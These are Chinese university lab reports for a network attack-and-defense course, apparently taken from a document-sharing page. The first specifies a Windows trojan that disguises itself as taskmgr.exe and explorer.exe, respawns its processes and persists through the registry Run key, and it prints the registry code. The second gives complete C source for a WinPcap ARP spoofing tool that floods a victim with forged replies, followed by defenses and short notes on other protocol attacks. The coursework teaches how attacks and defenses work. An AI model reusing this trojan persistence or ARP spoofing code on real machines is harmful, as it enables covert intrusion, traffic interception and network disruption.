综合实验报告
( 20xx -- 20xx 年度第二学期)
名 称: 网络攻防系统实验
题 目: 木马
院 系: 计算机系
班 级: 信息安全1001班
学 号: ***
设计周数: 2
成 绩:
日期:20##年 7月 10日
网络攻防实验
任 务 书
一、 目的与要求
1.目的
1.1 培养学生的动手实践能力
1.2 深入理解计算机网络应用程序工作原理
1.3 更加深入学习网络攻防的基本步骤。
1.4 掌握网络攻击软件的编写能力。
1.5把前期学习阶段的知识和方法系统化,来解决实际问题,为毕业设计做准备。
2. 要求
2.1 运用所学的知识和方法采用最佳的解决问题思路,完成本次实验。
2.2 根据任务书所规定的程序能查找相关资料,学习相关开发技术和理论知识。
2.3对要完成的内容进行详细的分析和设计,画出系统执行的流程图和系统构架图。
2.4 认真书写实验报告,包括实验过程中遇到的问题,解决办法,也包括实验后的新的体会及队本次实验的建议和意见。
二、 主要内容
编写一个针对Windows的木马程序,该木马可以作为各种入侵程序的伪装外壳,保证信息窃探工作的顺利完成,基本程序功能如下:
1、在主程序中要求将程序拷贝到系统盘\windows\目录下并更名为taskmgr.exe,同时复制第二份到系统盘\windows\system32目录下并更名为explorer.exe。用以混淆用户对木马的第一判断。
2、程序建立两个windows进程,每个进程每一个时钟周期检查另外一个进程是否正在运行。如果存在弹出对话框“I’m still here!”,如果不存在启动另一个进程并弹出对话框“I’m still here!”。
3、将拷贝好的两个病毒程序添加到注册表起动项中。(software\\microsoft\\windows\\currentversion\\run)。每个时钟程序在运行的时
候都要向注册表中添加此信息。
三、 进度计划
四、 设计(实验)成果要求
1.完成规定的实验任务,保质保量;
2.完成综合实验报告,要求格式规范,内容具体而翔实,应体现自身所做的工作,注重对实验思路的归纳和对问题解决过程的总结。
五、 考核方式
平时成绩+验收程序+实验报告
学生姓名:
指导教师:
年 月 日
一、课程设计(综合实验)的目的与要求
1. 目的
1.1 培养学生的动手实践能力
1.2 深入理解计算机网络应用程序工作原理
1.3 更加深入学习网络攻防的基本步骤。
1.4 掌握网络攻击软件的编写能力。
1.5把前期学习阶段的知识和方法系统化,来解决实际问题,为毕业设计做准备。
2. 要求
2.1 运用所学的知识和方法采用最佳的解决问题思路,完成本次实验。
2.2 根据任务书所规定的程序能查找相关资料,学习相关开发技术和理论知识。
2.3对要完成的内容进行详细的分析和设计,画出系统执行的流程图和系统构架图。
2.4 认真书写实验报告,包括实验过程中遇到的问题,解决办法,也包括实验后的新的体会及队本次实验的建议和意见。
二、设计(实验)正文
(一)、设计思想
编写一个针对Windows的木马程序,该木马可以作为各种入侵程序的伪装外壳,保证信息窃探工作的顺利完成
(二)、基本程序功能如下:
1、在主程序中要求将程序拷贝到系统盘\windows\目录下并更名为taskmgr.exe,同时复制第二份到系统盘\windows\system32目录下并更名为explorer.exe。用以混淆用户对木马的第一判断。
2、程序建立两个windows进程,每个进程每一个时钟周期检查另外一个进程是否正在运行。如果存在弹出对话框“I’m still here!”,如果不存在启动另一个进程并弹出对话框“I’m still here!”。
3、将拷贝好的两个病毒程序添加到注册表起动项中。(software\\microsoft\\windows
\\currentversion\\run)。每个时钟程序在运行的时候都要向注册表中添加此信息。
(三)、程序功能实现的界面
1、感染界面
2、回调函数时间设置太短,系统会崩溃界面如下
3、注册表功能界面
我们组组员设计的进程管理器所显示的进程界面:
4、注册表功能实现的主要代码:
void editRegTable()
{
HKEY hKey; //句柄
char Subkey[] = "software\\microsoft\\windows\\currentversion\\run";
char ValueName1[] = "taskmgr", ValueName2[] = "explorer";
BYTE Value[200];
DWORD Size;
if(RegOpenKeyEx(HKEY_CURRENT_USER,Subkey,0,KEY_ALL_ACCESS,&hKey)!=ERROR_SUCCESS) //第一步
{
MessageBox(NULL, "Register open error", "", MB_OK);
return;
}
Size = sizeof(Value);
if(RegQueryValueEx(hKey,ValueName1,0,NULL,Value,&Size)!=ERROR_SUCCESS || Value != sFile1)
{//如果taskmgr还没注册过
//设置键值
RegSetValueEx(hKey, ValueName1, 0L, REG_SZ, (const BYTE *)(const char *)sFile1, strlen(sFile1) + 1);
}
if(RegQueryValueEx(hKey,ValueName2,0,NULL,Value,&Size)!=ERROR_SUCCESS || Value != sFile2)
{//如果explorer还没注册过
//设置值
RegSetValueEx(hKey, ValueName2, 0L, REG_SZ, (const BYTE *)(const char *)sFile2, strlen(sFile2) + 1);
}
RegCloseKey(hKey);
}
三、课程设计(综合实验)总结或结论
此次网络攻防课程设计,我们选择的是木马程序的设计。因为之前从尝试过编写此类程序,所以完成设计之初我们查阅了不少资料。
在实验后期对于病毒的清除时由木马性质可知要同时结束两个进程,才能达到清除此木马的目的,不然删除的那个进程又会自动启动。但windows资源管理器中的进程管理中进程项目过多,若回调函数内时间设置果断根本没办法将病毒删除,所以我们组成员编写了一个简单的进程管理器,在此进程管理器中可以看到两个可疑进程taskmgr.exe和explorer.exe,找到C\windows\taskmgr.exe和C\windows\system32\explorer.exe并将他们删除,同时还要删除注册表HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run里的taskmgr和explorer。
通过此次试验我更加了解了如何编写一个针对Windows的可以作为各种入侵程序的伪装外壳,保证信息窃探工作的顺利完成的木马程序,获益匪浅。在此再次感谢梅华威老师的耐心指导与讲解。
四、参考文献
[1] [美]AI Stevens著 林瑶等译. C++大学自学教程[M]. 北京.电子工业出版社,2004
[2] 宋坤,刘锐宁 .Visual C++ 程序设计自学手册[M]. 北京.北京人民邮电出版,20##-2
[3] 袁津生,吴砚农 .计算机网络安全基础[M]. 北京.人民邮电出版社,20##-1
[4] 张友生,米安然著.计算机病毒与木马程序剖析.北京.科海电子出版社,20##-3
附录(设计流程图、程序、表格、数据等)
见下页
网络攻防对抗
实验报告
实验名称:协议攻击
实验类型:验证型实验
指导老师:
专业班级:
姓 名:
学 号:
电子邮件:
实验地点:
实验日期: 年 月 日
实验成绩:
通过该实验使我们认识网络协议的不安全性,没有完全可靠的协议,了解常见TCP/IP协议的攻击类型和原理。通过该实验,掌握协议攻击的原理,了解TCP会话劫持,SYN Flood攻击,UDP攻击协议,ICMP攻击,ARP欺骗,ARP拒绝服务攻击等的原理和防御策略,并能使用常用的协议攻击手段。并补充完老师提供的ARP欺骗程序的源代码,并进行测试和效果检测等。
ARP欺骗
ARP欺骗:
欺骗结果:
#define HAVE_REMOTE
#include <stdlib.h>
#include <stdio.h>
#include <conio.h> //getchar()函数使用
#include <pcap.h>
#include <winsock2.h>
#pragma comment(lib,"wpcap")
#pragma comment(lib , "ws2_32")
main()
{
enum{ MAC_ADDR_LEN = 0x06, // mac地址的长度 (6字节)
IP_ADDR_LEN = 0x04, // IP地址的长度 (4字节)
};
enum{ ETH_TYPE = 0x0806 , //以太网类型,默认0806
IP_TYPE = 0x0800 , //0800即表示IP地址
};
enum{ ARP_REQUEST = 0x0001 , //arp request
ARP_REPLY = 0x0002 , //arp reply
};
enum {
ARP_HARDWARE = 0x0001 //arp包硬件类型 1表示以太网地址
};
enum{
MAX_ADAPTERS = 16 //最大的网络适配器数量
};
//////////////////////////////////////////////////////////////////////////
#pragma pack( push ,1 ) // 1 字节对齐
typedef struct ethhdr
{ unsigned char eh_dst[MAC_ADDR_LEN]; //以太网目的地址
unsigned char eh_src[MAC_ADDR_LEN]; //以太网源地址
unsigned short eh_type; //以太网类型,默认0x0806
char data[1];
} ETH_t, *pETH_t;
typedef struct arphdr //arp头
{ unsigned short arp_hdr; // 硬件类型 Ethernet 0x0001
unsigned short arp_pro; // 协议类型,IP,0x0800
unsigned char arp_hln; // 硬件地址长度,mac地址长度
unsigned char arp_pln; // 协议地址长度,ip地址长度
unsigned short arp_opt; // [ request | reply| response ]
unsigned char arp_sha[MAC_ADDR_LEN]; // 发送端以太网地址
unsigned long arp_spa; // 发送端ip地址
unsigned char arp_tha[MAC_ADDR_LEN]; // 接收端以太网地址
unsigned long arp_tpa; // 接收端ip地址
} ARP_t, *pARP_t;
#pragma pack( pop )
//////////////////////////////////////////////////////////////////////////
// static unsigned char sa[6] = { 0x00,0x88,0x88,0x88,0x88,0x88 }; //伪装的mac地址
// static char* pchar_StartIP = "1.1.1.1"; //伪装的IP地址
//////////////////////////////////////////////////////////////////////////
pcap_if_t *alldevs;
pcap_if_t *d;
int inum;
int i=0;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *fp;
/* 从本机上获取适配器信息 */
if (pcap_findalldevs_ex(PCAP_SRC_IF_STRING, NULL, &alldevs, errbuf) == -1)
{
fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
/* 打印适配器列表*/
for(d=alldevs; d; d=d->next)
{
printf("%d. %s", ++i, d->name);
if (d->description)
printf(" (%s)\n", d->description);
else
printf(" (No description available)\n");
}
if(i==0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return -1;
}
/*选择适配器 */
printf("Enter the interface number (1---%d):",i);
scanf("%d", &inum);
if(inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* 释放适配器 */
pcap_freealldevs(alldevs);
return -1;
}
/* 转跳选择的适配器 */
for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);
/* 打开适配器*/
if ( (fp= pcap_open(d->name, // name of the device
100, // portion of the packet to capture (only the first 100 bytes)
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout
NULL, // authentication on the remote machine
errbuf // error buffer
) ) == NULL)
{
fprintf(stderr,"\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
return -1;
}
/* At this point, we don't need any more the device list. Free it */
pcap_freealldevs(alldevs);
//////////////////////////////////////////////////////////////////////////
pETH_t pE;
pARP_t pA ;
unsigned char sendbuf[60] = {0}; //需要发送的攻击包
//////////////////////////////////////////////////////////////////////////
char attack_addr[16]; //被攻击者的IP地址
/* * 输入需要攻击的主机的IP地址 */
memset( attack_addr , 0 , 16 );
printf("\n");
printf("请输入被欺骗主机的IP地址 [ xxx.xxx.xxx.xxx ] :"); scanf("%s" , attack_addr );
//////////////////////////////////////////////////////////////////////////
/* * 输入需要攻击的主机的MAC地址 */
unsigned char Target_mac[6];
unsigned char uc_TargetMac[12];
memset(uc_TargetMac ,0 ,12);
printf("请输入被欺骗主机的MAC地址 [xxxxxxxxxxxx] :");
scanf("%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x",
&uc_TargetMac[0],&uc_TargetMac[1],&uc_TargetMac[2],&uc_TargetMac[3],&uc_TargetMac[4],&uc_TargetMac[5],
&uc_TargetMac[6],&uc_TargetMac[7],&uc_TargetMac[8],&uc_TargetMac[9],&uc_TargetMac[10],&uc_TargetMac[11]);
Target_mac[0]=(uc_TargetMac[0]<<4)+uc_TargetMac[1];
Target_mac[1]=(uc_TargetMac[2]<<4)+uc_TargetMac[3];
Target_mac[2]=(uc_TargetMac[4]<<4)+uc_TargetMac[5];
Target_mac[3]=(uc_TargetMac[6]<<4)+uc_TargetMac[7];
Target_mac[4]=(uc_TargetMac[8]<<4)+uc_TargetMac[9];
Target_mac[5]=(uc_TargetMac[10]<<4)+uc_TargetMac[11];
//////////////////////////////////////////////////////////////////////////
/* 输入伪造的源IP地址*/
char Spoof_addr[16]; //被攻击者的IP地址
/* * 输入需要攻击的主机的IP地址 */
memset( Spoof_addr , 0 , 16 );
printf("\n");
printf("请输入欺骗内容的IP地址 [ xxx.xxx.xxx.xxx ] :");
scanf("%s" , Spoof_addr );
//////////////////////////////////////////////////////////////////////////
/* * 输入伪造的源MAC地址 */
unsigned char Spoof_mac[6];
unsigned char uc_SpoofMac[12];
memset(uc_SpoofMac ,0 ,12);
printf("请输入欺骗内容的MAC地址 [xxxxxxxxxxxx] :");
scanf("%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x%1x",
&uc_SpoofMac[0],&uc_SpoofMac[1],&uc_SpoofMac[2],&uc_SpoofMac[3],&uc_SpoofMac[4],&uc_SpoofMac[5],
&uc_SpoofMac[6],&uc_SpoofMac[7],&uc_SpoofMac[8],&uc_SpoofMac[9],&uc_SpoofMac[10],&uc_SpoofMac[11]);
Spoof_mac[0]=(uc_SpoofMac[0]<<4)+uc_SpoofMac[1];
Spoof_mac[1]=(uc_SpoofMac[2]<<4)+uc_SpoofMac[3];
Spoof_mac[2]=(uc_SpoofMac[4]<<4)+uc_SpoofMac[5];
Spoof_mac[3]=(uc_SpoofMac[6]<<4)+uc_SpoofMac[7];
Spoof_mac[4]=(uc_SpoofMac[8]<<4)+uc_SpoofMac[9];
Spoof_mac[5]=(uc_SpoofMac[10]<<4)+uc_SpoofMac[11];
//////////////////////////////////////////////////////////////////////////
int attack_maxtime = 3;
// printf("请输入需要发送攻击包的最大数量:");
// scanf("%d",&attack_maxtime);
printf("\n");
printf( "对%s进行ARP欺骗\n" , attack_addr );
pE = (pETH_t)sendbuf ;
pA = (pARP_t)pE->data;
pE->eh_type = htons( ETH_TYPE );
/*在以太网头部中装入目标MAC地址*/
memcpy( pE->eh_dst ,Target_mac , 6);
/*在以太网头部中装入伪装MAC地址*/
memcpy( pE->eh_src ,Spoof_mac , 6);
//////////////////////////////////////////////////////////////////////////
pA->arp_hdr = htons(ARP_HARDWARE);
pA->arp_pro = htons(IP_TYPE) ;
pA->arp_hln = MAC_ADDR_LEN;
pA->arp_pln = IP_ADDR_LEN;
pA->arp_opt = htons(ARP_REPLY) ;
memcpy( pA->arp_sha ,Spoof_mac , 6);
memcpy( pA->arp_tha ,Target_mac , 6);
pA->arp_tpa = inet_addr( attack_addr );
pA->arp_spa = inet_addr( Spoof_addr );
// for( int attack_time=0; attack_time<attack_maxtime; attack_time++ )
while(true)
{
pcap_sendpacket(fp, sendbuf, 60 /* size */);
// if (pcap_sendpacket(fp, sendbuf, 60 /* size */) != 0)
// {
// fprintf(stderr,"\nError sending the packet: \n", pcap_geterr(fp));
// return -1;
// }
Sleep(1000);
printf("Spoof OK!\n");
}
return 0;
}
1、怎样防止Arp 欺骗?
答:设置静态的MAC-->IP对应表,不要让主机刷新你设定好的转换表。
除非必要,否则停止ARP使用,把ARP做为永久条目保存在对应表中。
使用ARP服务器。确保这台ARP服务器不被黑。
使用"proxy"代理IP传输。
使用硬件屏蔽主机。
定期用响应的IP包中获得一个rarp请求,检查ARP响应的真实性。
定期轮询,检查主机上的ARP缓存。
使用防火墙连续监控网络。
2、WinPcap 开发的网络程序的特点是什么?
答:捕获原始数据包,无论它是发往某台机器的,还是在其他设备(共享媒介)上进行交换的 。
在数据包发送给某应用程序前,根据用户指定的规则过滤数据包 。
将原始数据包通过网络发送出去 。
收集并统计网络流量信息 。
会话劫持:攻击分为两种类型:1)中间人攻击(Man In The Middle,简称MITM),2)注射式攻击(Injection);并且还可以把会话劫持攻击分为两种形式:1)被动劫持,2)主动劫持;被动劫持实际上就是在后台监视双方会话的数据流,从中获得敏感数据;而主动劫持则是将会话当中的某一台主机“踢”下线,然后由攻击者取代并接管会话,这种攻击方法危害非常大
SYN Flood攻击:SYN Flood是当前最流行的DoS(拒绝服务攻击)与DdoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或内存不足)的攻击方式。
UDP攻击:UDP攻击,又称UDP洪水攻击或UDP淹没攻击(英文:UDP Flood Attack)是导致基於主机的服务拒绝攻击的一种。UDP 是一种无连接的协议,而且它不需要用任何程序建立连接来传输数据。当攻击者随机地向受害系统的端口发送 UDP 数据包的时候,就可能发生了 UDP 淹没攻击。
ARP协议攻击:
ARP攻击就是通过伪造IP地址和MAC地址实现ARP欺骗,能够在网络中产生大量的ARP通信量使网络阻塞,攻击者只要持续不断的发出伪造的ARP响应包就能更改目标主机ARP缓存中的IP-MAC条目,造成网络中断或中间人攻击。
ARP攻击主要是存在于局域网网络中,局域网中若有一台计算机感染ARP木马,则感染该ARP木马的系统将会试图通过“ARP欺骗”手段截获所在网络内其它计算机的通信信息,并因此造成网内其它计算机的通信故障。
综合实验报告(20xx--20xx年度第二学期)名称:网络攻防系统实验题目:木马院系:计算机系班级:信息安全1001班学号:***…
网络攻防实验报告姓名学号班级实验名称实验环境攻击主机lt包括使用的操作系统及相关工具gt目标主机lt包括使用的操作系统及相关工具g…
实验报告课程计算机安全与保密实验名称网络安全攻防实验院系部计算机科学学院学号姓名报告评分专业班级实验日期报告日期教师签字一实验名称…
网络防御实验报告学专班姓学院业网络工程级1班名刘小芳号4100904012720xx年12月30日一实验题目网络防御实验二实验环境…
实验报告第1页共13页网络攻击与防范实验报告姓名杨刚学号20xx48300108005所在班级702班实验名称编写自己的网络嗅探器…
网络信息安全综合实验任务书一、目的与要求根据实验内容的要求和实验安排,要求学生在掌握网络信息安全基本知识的基础上,能够设计出相应的…
实验报告课程计算机安全与保密实验名称网络安全攻防实验院系部计算机科学学院学号姓名报告评分专业班级实验日期报告日期教师签字一实验名称…
计算机网络安全网络攻击技术与防御学号110姓名专业班级指导教师1目录1网络安全现状2网络攻击常用步骤3网络攻击工具介绍4怎样防御网…
网络攻防实训实验报告马骏20xx211869实验一使用winarpattarker攻击目标主机使用scan扫描扫描到主机攻击已经有…
常州信息职业技术学院实习报告实习目的随着网络技术的飞速发展一名优秀的网络管理员无疑是保障网络安全通畅的一个重要前提对于网络管理员来…